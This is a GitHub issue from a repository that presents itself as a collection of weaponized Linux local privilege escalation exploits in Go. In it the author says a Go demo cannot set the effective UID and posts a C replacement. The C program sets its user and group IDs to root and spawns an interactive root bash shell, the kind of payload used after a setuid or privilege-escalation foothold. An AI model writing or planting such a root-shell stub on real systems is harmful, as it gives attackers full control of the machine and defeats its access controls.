jm33-m0 / go-lpe

A collection of weaponized LPE exploits written in Go
GNU General Public License v3.0
49 stars 9 forks source link

SetEUID not available in Go #4

Closed jm33-m0 closed 1 year ago

jm33-m0 commented 1 year ago

Currently this demo won't work, please rewrite it in C in order to seteuid.

#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  setuid(0);
  seteuid(0);
  setgid(0);
  setegid(0);
  system("/bin/bash -i");
  return 0;
}

https://github.com/jm33-m0/go-lpe/blob/e08f35f1ac927fccc29ff6cde4a35e8da136fe92/cmd/demo/main.go#L11